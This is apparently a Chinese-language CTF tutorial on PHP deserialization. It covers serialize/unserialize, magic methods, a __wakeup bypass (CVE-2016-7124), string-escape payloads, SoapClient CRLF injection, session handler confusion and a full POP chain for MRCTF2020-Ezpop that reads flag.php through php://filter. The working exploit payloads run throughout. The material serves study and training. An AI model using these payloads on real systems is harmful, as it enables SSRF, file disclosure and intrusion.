serialize()函数
“所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。”
在程序执行结束时,内存数据便会立即销毁,变量所储存的数据便是内存数据,而文件、数据库是“持久数据”,因此PHP序列化就是将内存的变量数据“保存”到文件中的持久数据的过程
例如,将变量数据保存到文件中
$s = serialize($变量); //该函数将变量数据进行序列化转换为字符串
file_put_contents('./目标文本文件', $s); //将$s保存到指定文件
一个serialize函数的基本例子
<?php
class user{
public $name = '';
public $age = 0;
public function printdata(){
echo 'User '.$this->name.' is '.$this->age.' yeas old<br>';
}
}
$user = new user(); //创建一个对象
$user->name = 'Aria';
$user->age = 20;
//设置数据
$user->printdata(); //输出数据
echo serialize($user); //输出序列化后的数据
?>
输出结果为
User Aria is 20 yeas old
O:4:"user":2:{s:4:"name";s:4:"Aria";s:3:"age";i:20;}
可以看到序列化输出后会保存对象的所有变量,每个变量都用一个字符代替,每个字符的是以下的缩写
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
其输出结果的含义为
O:4:"user":2:{s:4:"name";s:4:"Aria";s:3:"age";i:20;}
对象:长度:类名:变量数:{变量类型:长度:'值';变量类型:长度:'值'....}
unserialize()函数
unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。在解序列化一个对象前,这个对象的类必须在解序列化之前定义。
简单来理解起来就算将序列化过存储到文件中的数据,恢复到程序代码的变量表示形式的过程,恢复到变量序列化之前的结果。
$s = file_get_contents('./目标文本文件'); //取得文本文件的内容(之前序列化过的字符串)
$变量 = unserialize($s); //将该文本内容,反序列化到指定的变量中
通过一个例子来了解unserialize函数的运用
<?php
class user{
public $name = '';
public $age = 0;
public function printdata(){
echo 'User '.$this->name.' is '.$this->age.' yeas old';
}
}
$user = unserialize('O:4:"user":2:{s:4:"name";s:4:"Aria";s:3:"age";i:20;}'); //重建对象
$user->printdata();
?>
运行结果
User Aria is 20 yeas old
注意:在解序列化一个对象前,这个对象的类必须在解序列化之前定义。否则会报错
public protect private的使用方法和区别
public 【公共的】
可以在程序中的任何位置(类内、类外)被其他的类和对象调用。子类可以继承和使用父类中所有的公共成员。
Private 【私有的】
被private修饰的变量和方法,只能在所在的类的内部被调用和修改,不可以在类的外部被访问。在子类中也不可以。
如果直接调用,就会发生错误。
Protect 【受保护的】
用protected修饰的类成员,可以在本类和子类中被调用,但是在其他地方不能被调用。
如果变量前是protected,则会在变量名前加上\x00*\x00
,private则会在变量名前加上\x00类名\x00
,输出时一般需要url编码,若在本地存储更推荐采用base64编码的形式,如下:
<?php
class test{
protected $a;
private $b;
function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
echo urlencode(serialize($a));
?>
输出会导致不可见字符\x00
的丢失
O:4:"test":2:{s:4:"*a";s:9:"xiaoshizi";s:7:"testb";s:8:"laoshizi";}
php魔术方法函数
php中将开头带有两个下划线__的类方法保留为魔术方法
__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
通过一个例子了解各种方法的调用
<?php
class test{
public $varr1="abc";
public $varr2="123";
public function echoP(){
echo "<br>$this->varr1 and $this->varr2"
;
}
public function __construct(){
echo "<br>__construct
";
}
public function __destruct(){
echo "<br>__destruct
";
}
public function __toString(){
return "<br>__toString
";
}
public function __sleep(){
echo "<br>__sleep
";
return array('varr1','varr2');
}
public function __wakeup(){
echo "<br>__wakeup
";
}
}
$obj = new test(); //实例化对象,调用__construct()方法,输出__construct
$obj->echoP(); //调用echoP()方法,输出"abc"
echo $obj; //obj对象被当做字符串输出,调用__toString()方法,输出__toString
$s =serialize($obj); //obj对象被序列化,调用__sleep()方法,输出__sleep
echo unserialize($s); //$s首先会被反序列化,会调用__wake()方法,被反序列化出来的对象又被当做字符串,就会调用_toString()方法。
// 脚本结束又会调用__destruct()方法,输出__destruct
?>
输出结果
__construct
abc and 123
__toString
__sleep
__wakeup
__toString
__destruct
__destruct
反序列化绕过
php7.1+反序列化对类属性不敏感
我们前面说了如果变量前是protected,序列化结果会在变量名前加上\x00*\x00
但在特定版本7.1以上则对于类属性不敏感,比如下面的例子即使没有\x00*\x00
也依然会输出abc
<?php
class test{
protected $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a;
}
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
绕过__wakeup(CVE-2016-7124)
版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
利用:当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __wakeup(){
$this->a='666';
}
public function __destruct(){
echo $this->a;
}
}
如果执行unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
输出结果为666
而把对象属性个数的值增大执行unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');
输出结果为abc
按地址传参
php引用:php引用和c++一样,都是在变量前加&
(取地址符号)
<?php
$a='123';
$b=&$a;
$b=1;
echo $a; //输出1
此时a的变量地址指向b,所以a的值随着b而改变
绕过方法:
web265
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = &$this->token;
}
public function login(){
return $this->token===$this->password;
}
}
$admin = new ctfshowAdmin('123','123');
echo serialize($admin);
当变量token不可控,而又要求password和token全等时,可以将password的地址指向token达到绕过目的
正则匹配绕过
+号绕过
preg_match('/^O:\d+/')
匹配序列化字符串是否是对象字符串开头
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a.PHP_EOL;
}
}
function match($data){
if (preg_match('/^O:\d+/',$data)){
die('you lose!');
}else{
return $data;
}
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +号绕过
$b = str_replace('O:4','O:+4', $a); //将O:4替换成O:+4
unserialize(match($b));
// serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
字符逃逸
过滤后字符变多
本地搭建代码
<?php
function change($str){
return str_replace("x","xx",$str);
}
$name = $_GET['name'];
$age = "I am 11";
$arr = array($name,$age);
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:"
$old = change(serialize($arr));
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=$new[1]";
正常情况下传参
但当传多一个x时,由于字符替换一个替换成两个,原本为4个字符变成5个,就会造成溢出
当传入?name=xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}
其中";i:1;s:6:"woaini";}
这里的字符数是20,x的数有20,但一个x会被替换成两个,所以为40个,多出来的20个x其实取代了我们的这二十个字符,造成这20个字符的溢出,而"
闭合了前串,造成成功逃逸,改变了输出,不再是age=11
而是等于我们构造的woaini
最后的
;}
闭合反序列化全过程导致原来的";i:1;s:7:"I am 11";}"
被舍弃,不影响反序列化过程
过滤后字符变少
本地搭建代码
<?php
function change($str){
return str_replace("xx","x",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=";
echo $new['age'];
正常情况下传参
传入两个x时,会被替换成一个,造成反序列化失败
最后构造payload
由于两个x变成一个x,所以前面字符少一半,其中";s:3:"age";s:28:"11
的字符也为20个,所以前面的x构造40个就行了
?name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&age=11";s:3:"age";s:6:"woaini";}
SoapClient与反序列化
SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息),其次我们知道某个实例化的类,如果去调用了一个不存在的函数,会去调用__call
方法
本地测试SoapClient监听
<?php
$ua = "ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127,0.0.1:9999/','location' => 'http://127.0.0.1:9999/ctfshow','user_agent' => $ua));
$client -> getFlag();//调用不存在的方法,让SoapClient调用__call
结果如图
由此我们可以看到,POST处、User-Agent处可以由我们修改,SOAPAction处也可以进行修改,由此我们可以进行注入恶意构造的CRLF字符
CRLF攻击
CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。
SoapClient与CRLF
在user-agent处插入\r\n
字符可以对下方的Content-type
、Content-Length
、token
进行控制。
<?php
$ua = "ctfshow\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127,0.0.1:9999/','location' => 'http://127.0.0.1:9999/ctfshow','user_agent' => $ua));
$client -> getFlag();//调用不存在的方法,让SoapClient调用__call
注意:插入\r\n
需要用双引号字符,如果用单引号字符则需要用str_replace
函数进行替换
$a = str_replace('^^',"\r\n",$a);
实战
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
需要伪造XFF头为127.0.0.1,并且由于array_pop
存在需要写三次,POST传参入token
最后写入到flag.txt中
最终payload:
<?php
$ua = "ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127,0.0.1/','location' => 'http://127.0.0.1/flag.php','user_agent' => $ua));
echo urlencode(serialize($client));
php-session反序列化
session
在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。
当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。
session的存储机制
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。 存储的文件是以sess_sessionid来进行命名的
函数名称 | 功能 | 例子 |
---|---|---|
php_serialize | 经过serialize()函数序列化数组 | a:1:{s:4:”user”;s:5:”admin”;} |
php | 键名+竖线+经过serialize()函数处理的值 | user|s:5:”admin”; |
php_binary | 键名的长度对应的ascii字符+键名+serialize()函数序列化的值 |
php.ini中一些session配置
session.save_path=”” –设置session的存储路径 session.save_handler=””–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动 session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用php
使用不同的引擎来处理session文件
php引擎的存储格式是键名|serialized_string
,而php_serialize引擎的存储格式是serialized_string
。如果程序使用两个引擎来分别处理的话就会出现问题
abc|O:4:”user”:1:{s:8:”username”;s:5:”admin”;} php引擎 a:1:{s:3:”abc”;O:4:”user”:1:{s:8:”username”;s:5:”admin”;}} php_serialize引擎
本地搭建环境
// 1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['y4'] = $_GET['a'];
var_dump($_SESSION);
//2.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class test{
public $name;
function __wakeup(){
echo $this->name;
}
}
首先访问1.php,传入参数a=|O:4:"test":1:{s:4:"name";s:8:"y4tacker";}
再访问2.php,注意不要忘记|
由于1.php
是使用php_serialize
引擎处理,因此只会把'|'
当做一个正常的字符。然后访问2.php
,由于用的是php
引擎,因此遇到'|'
时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对'|'
后的值进行反序列化处理。
POP链的构造利用
POP链简单介绍
前面所讲解的序列化攻击更多的是魔术方法中出现一些利用的漏洞,因为自动调用而触发漏洞,但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来
简单案例讲解
首先看看简单的MRCTF2020-Ezpop
<?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
这里我直接说利用思路,首先逆向分析,我们最终是希望通过Modifier当中的append方法实现本地文件包含读取文件,回溯到调用它的invoke,当我们将对象调用为函数时触发,发现在Test类当中的get方法,再回溯到Show当中的toString,再回溯到Show当中的construct当中有echo $this->source可以调用__toString
因此不难构造pop链
<?php
ini_set('memory_limit','-1');
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
$this->str = new Test();
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$a = new Show('aaa');
$a = new Show($a);
echo urlencode(serialize($a));